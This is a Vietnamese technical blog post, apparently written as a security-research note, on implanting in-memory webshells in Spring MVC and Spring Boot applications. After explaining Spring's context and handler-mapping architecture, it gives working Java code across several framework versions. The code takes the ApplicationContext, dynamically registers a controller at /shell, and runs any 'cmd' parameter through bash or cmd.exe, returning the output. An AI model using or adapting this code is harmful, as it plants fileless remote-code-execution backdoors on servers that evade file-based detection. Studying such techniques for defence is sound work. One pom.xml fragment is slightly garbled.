Tiếp theo là note của mình về memshell trong spring, bài này chỉ dừng lại ở cách triển khai còn exploit trong tình huống web có lỗ hổng thì ở các bài sau
Vì package spring-boot-starter-web có bao gồm spring-mvc, nên về cơ bản các kỹ thuật dùng với spring mvc trong bài này đều có thể áp dụng với project spring boot dùng package spring-boot-starter-web. Do đó khi đề cập đến kiến trúc thì mình cũng chỉ đề cập đến kiến trúc Spring MVC
Để đơn giản thì trong phạm vi bài này khi mình nói đến Spring Boot tức là đang đề cập đến cả packaage spring-boot-starter-web . Make it clear
Môi trường tạo demo là: JDK 17
Đầu tiên tạo project với Spring Initializer
Tạo HelloWorldController
package org.example.springdemomemshell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloWorldController {
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
}
Cuối cùng chỉ cần bấm Run thì web tự động deploy không cần config gì thêm. Kết quả
Mặc định SpringBoot chạy port 8080, nếu muốn thay đổi thì ta thêm config vào file application.properties
Còn nếu muốn thay đổi version SpringBoot thì ta chỉ cần thay đổi version parent trong file pom.xml
Spring MVC
Môi trường tạo demo là
Đối với SpringMVC 6.x: JDK 17 và Tomcat 10.x
Đối với SpringMVC 4.x và 5.x: JDK17 và Tomcat 9.x
Nguyên nhân SpringMVC 6.x mình dùng Tomcat 10.x vì khi dùng Tomcat 9.x sẽ bị 404 khi truy cập controller
Đầu tiên ta tạo maven project trong intelij với archetype là webapp
Sau đó ta thêm dependency spring-web và spring-webmvc vào file pom.xml
...
<properties>
<org.springframework-version>4.2.0.RELEASE</org.springframework-version>
<!-- Thay đổi version của SpringMVC tại đây -->
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${org.springframework-version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${org.springframework-version}</version>
</dependency>version>
</dependency>
<!-- Tag libs support for view layer -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
...
Tại web.xml thêm config khai báo DispatcherServletvà mapping DispatcherServlet
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
Tiếp theo tạo file springmvc.xml trong thư mục WEB-INF để config spring (lưu ý tên file phải giống với tên file khai báo trong phần param-value tại web.xml)
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public String hello(){
System.out.println("hello");
return "Hello";
}
}
Tổng quan file structure của ta sẽ như sau
Config Tomcat
Start web và truy cập http://localhost:9999/hello
1. Kiến trúc SpringMVC
Cấu trúc của SpringMVC có phần tinh gọn hơn so với Tomcat Servlet
Trong SpringMVC ta sẽ có một thằng được gọi là Dispatcher Servlet sẽ đóng vai trò là Front Controller (theo docs của SpringMVC). Thằng này sẽ tiếp nhận request từ client, sau đó gửi qua Handler Mapping. Handler Mapping sẽ parse URI để nói cho Dispatcher biết Controller nào sẽ xử lý request này. Tiếp tục Dispatcher gửi cho Controller để xử lý. Controller khi xử lý xong sẽ trả về ModelAndView (chính là đối tượng View). Dispatcher sẽ gửi đến ViewResolver để lookup view muốn trả về. Cuối cùng Dispatcher truy xuất lấy view và trả về cho client thông qua response.
Ta có thể thấy mọi request và response đều phải đi qua Dispatcher Servlet trong mô hình của SpringMVC
2. Một số thành phần trong Spring Framework cần quan tâm
Khái niệm bean
Bean là core concept và xương sống trong ứng dụng sử dụng Spring Framework. Có một vài điều ta cần quan tâm về beans
Về bản chất bean cũng chỉ là các object
Các bean được quản lý bởi IoC container. IoC container chịu trách nhiệm instantiating, configuring, assembling và managing bean
Spring application chủ yếu được tạo thành bởi các bean này
IoC
IoC là một giải pháp cho phép quản lý số lượng lớn các components (classes) một cách dễ dàng và hiêu quả bằng cơ chế dependency injection. IoC container đơn giản là "thùng chứa" các bean có nhiệm vụ khởi tạo các components (các bean), lắp ráp các components theo dependency giữa chứng, và phá hủy các components theo thứ tự dependency. Nói đơn giản là quản lý life cycle của các components (các bean)
ApplicationContext
Để đại diện cho IoC Container trong Spring có Interface BeanFactory giúp ta làm việc đó.
Theo như sơ đồ trên thì ApplicationContext là kế thừa lại BeanFactory cùng với một số Interface khác, cung cấp cho ta nhiều tính năng mạnh mẽ hơn để tương tác với IoC Container.
Dưới ApplicationContext có 20 implementations khác
Tuy nhiên trong mô hình SpringMVC sẽ dùng implementations WebApplicationContext.
WebApplicationContext sẽ cung cấp cho ta nhiều tính năng hơn (theo docs nói là vậy) để thao tác với các bean trong context của ứng dụng spring
Vậy thì theo lý thuyết nếu tìm được cách call WebApplicationContext thì ta có thể tùy ý setup các components khác như controller để triển khai memshell
ContextLoaderListener và DispatcherServlet / Root Context và Child Context trong Spring MVC
Trước khi đi vào cách triển khai ta cần phải biết 1 chút về cơ chế load context trong SpringMVC.
Trong spring sẽ có 2 loại context là Root Context và Child Context. Đúng như tên gọi thì Root Context sẽ là context global và chỉ có 1. Trong khi đó thì ta có thể có nhiều Child Context, scope của Child Context cũng nhỏ hơn. Có 2 đặc điểm quan trọng ta cần quan tâm là:
Child Context có thể truy xuất các tài nguyên (components/bean) trong Root Context, nhưng Root Context thì không thể làm ngược lại
Sau khi tất các các Context được khởi tạo xong thì sẽ được add vào ServletContext như attribute
Tiếp đến là object giữ vai trò load context.
Trong Spring thì Root context sẽ được load bởi ContextLoaderListener, có nhiều cách để ta có thể khao báo ContextLoaderListener (tham khảo). Ví dụ dễ dùng nhất là khai báo qua xml như sau:
Tuy nhiên ContextLoaderListener là không bắt buộc, không có thì web vẫn có thể hoạt động như thường
Còn về phần Child Context sẽ được load bởi DispatcherServlet, child context khi load bởi DispatcherServlet sẽ dùng implementations WebApplicationContext của ApplicationContext. Khác với ContextLoaderListener thì DispatcherServlet ta bắt buộc phải khai báo vì nó là core trong kiến trúc của Spring MVC. Ví dụ khai báo DispatcherServlet như sau (xem chi tiết phần 0)
Như đề cập ở trên là ta có thể có nhiều Child Context trong một web app. Muốn khai báo nhiều Child Context thì ta đơn giản khai báo nhiều DispatcherServlet, mỗi path tại phần mapping sẽ map với một DispatcherServlet khác nhau. Trong trường hợp ví dụ của ta thì chỉ có một DispatcherServlet nên ta map / với DispatcherServlet đó luôn.
Context trong Spring Boot
Đối với Spring Boot thì không có context hierarchy như Spring MVC mà thay vào đó ứng dụng chỉ có 1 ApplicationContext duy nhất được khởi tạo. Khi chạy spring-boot-starter-web với config mặc định thì AnnotationConfigServletWebServerApplicationContext sẽ được load. Ta sẽ dùng context này để load mem. (tham khảo)
3. Triển khai memshell controller
Ý tưởng
Sau khi nắm cơ bản các thành phần trong Spring ta sẽ có ý tưởng sau để triển khai memshell
Vì ApplicationContext cho phép ta có thể tùy ý setup các components khác nên ta chỉ cần tìm cách để gọi đến được
Khi có được ApplicationContext ta sẽ setup components độc hại (cụ thể là controller) để RCE
Get ApplicationContext
Để lấy được ApplicationContext thì ta cũng có rất nhiều cách.
Đối với Spring MVC < 4.2.1
Ta có thể lấy trực tiếp thông qua method RequestContextUtils.getWebApplicationContext
Vì method cần tham số là ServletRequest nên ta cần call qua ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
Ta có thể thấy context ta get được là WebApplicationContext được implement thành XmlWebApplicationContext do ta khai báo dispatcher trong XML.
Demo trong Spring boot
Context ta get được là AnnotationConfigServletWebServerApplicationContext
Ta có thể thấy các cách ở trên đều lấy ra child context, nguyên nhân ta chỉ lấy child context thay vì root context trong Spring MVC
Rootcontext là phần không bắt buộc, nên sẽ có web có web không có. Còn child context thì sẽ luôn luôn có mặt trong mọi ứng dụng Spring
Đôi khi cho dù có root context thì nếu các bean được load bởi component-scan trong file xml config của child context. Mà root context thì không thể tương tác với các thành phần trong child context. Điều này dẫn đến ta không thể gọi đến thành phần cần thiết để call memshell từ root context.
Dynamic registration malicious controller
Như đã đề cập ở phần kiến trúc thì khi nhận request việc đầu tiên mà Dispatcher Servlet làm là gửi qua cho Handler Mapping để parse request tìm Controller phù hợp để xử lý. Một trong những implement của interface HandlerMapping chính là RequestMappingHandlerMapping sẽ đảm nhận vai trò chính trong việc map URI với Controller
Đối với Spring 2.5-3.1 sẽ dùng org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.
Còn Spring >3.1 sẽ dùng org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping như mình đã nêu ở trên
Do đó ta sẽ lợi dụng RequestMappingHandlerMapping để dynamic registration malicious controller. Code để get RequestMappingHandlerMapping
RequestMappingHandlerMapping cung cấp cho ta method registerMapping cho phép ta đăng ký một path nào đó với một object handler hay nói cách khác chính là cho phép dynamic registration controller
Vì method registerMapping chỉ có thể được dùng từ phiên bản SpringMVC 4.2.1 nên với các bản SpringMVC cũ thì ta không thể dùng cách này.
Triển khai memshell với SpringBoot < 2.6 và 4.2.1 <= SpringMVC < 6.0.0
Đối với SpringMVC version từ 4.2.1 đến < 6.0.0 thì dùng cách triển khai dưới đây ngon lành
Tuy nhiên với SpringBoot các bản > 2.6.0 mặc dù vẫn dùng SpringMVC 5.x.x nhưng sẽ bị lỗi (nguyên nhân). Do đó cách dưới đây chỉ ngon lành với SpringBoot < 2.6.0
Để khai báo RequestMappingInfo trong method registerMapping ta sẽ khai báo theo như Constructor của nó
Các attribute khác thì có thể là null nhưng ta cần khai báo ít nhất 2 attribute là PatternsRequestCondition và RequestMethodsRequestCondition
Trong đó thì PatternsRequestCondition sẽ là phần ta khai báo path muốn map với malicious controller. Code ví dụ
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Sau khi có được RequestMappingInfo ta tiến hành add malicious controller vào
r.registerMapping(info, new Shell(), method);
Với method ở đây chính là method ta muốn thực thi khi gọi đến Controller. Full code inject sẽ như sau:
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Shell.class.getDeclaredMethod("shell");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Nội dung Shell class
package com.controller;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Shell {
public Shell(){}
public void shell() throws IOException {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getParameter("cmd");
if (arg0 != null && request.getMethod().equals("POST")) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
Đối với SpringMVC < 6.0.0 muốn lấy HttpServletRequest và HttpServletResponse ta sẽ cần gọi đến javax.servlet.http.HttpServletRequest và javax.servlet.http.HttpServletResponse
Demo trong SpringMVC
Version demo
Code inject
package com.controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
public class SpringMVCControllerMem4x {
public static String load() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Shell.class.getDeclaredMethod("shell");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Shell(), method);
} catch (Exception e) {
System.out.println(e.getMessage());
}
return "loaded!";
}
}
Thêm path để load vào controller
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public String hello() throws NoSuchMethodException {
return "Hello";
}
@ResponseBody
@RequestMapping("/load")
public String load() throws NoSuchMethodException {
return SpringMVCControllerMem4x.load();
}
}
Load memshell
RCE
Demo trong SpringBoot
Version demo
Code load cũng tương tự như trên
Kết quả
Triển khai memshell với SpringBoot > 2.6 và SpringMVC > 6.0.0
Đối với các phiên bản mới từ SpringMVC 6.0.0 thì việc khai báo RequestMappingInfo qua constructor đã deprecated. Cộng thêm ở các phiên bản cao thì PatternsRequestConditionchạy bị lỗi (tham khảo) nên ta phải dùng cách khác
Tại RequestMappingHandlerMapping có method getMappingForMethod cho phép ta có thể get được RequestMappingInfo
Method này sẽ lấy ra RequestMappingInfo dựa vào handlerType và method. Để RequestMappingInfo lấy ra đúng giá trị thì ta phải thêm anotation @RequestMapping cho method. Nếu không có sẽ return null.
Ví dụ ta có một class và method sau
public class test {
public test () {}
public void dosomething() {
// ....
}
}
Nếu ta gọi getMappingForMethod với method dosomething và class test thì kết quả trả về là null.
Khi ta thêm anotation cho method
public class test {
public test () {}
@RequestMapping("/this_is_path")
public void dosomething() {
// ....
}
}
Nếu ta gọi getMappingForMethod với method dosomething và class test thì kết quả trả về là RequestMappingInfo chứa thông tin về path /this_is_path.
Cuối cùng vì method này là method protected nên ta dùng reflection để gọi đến.
Đối với SpringMVC >= 6.0.0 muốn lấy HttpServletRequest và HttpServletResponse ta sẽ cần gọi đến jakarta.servlet.http.HttpServletRequest và jakarta.servlet.http.HttpServletResponse
Demo với SpringMVC
Version demo
Code load tương tự trên. Thêm path load memshell
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
@ResponseBody
@RequestMapping("load")
public String load(){
return SpringBootControllerMem4x.load();
}
Kết quả
Demo với SpringBoot
Version demo
Kết quả:
4. Bonus
Ngoài cách dùng registerMapping thì ta còn một số cách khác để reg malicious controller như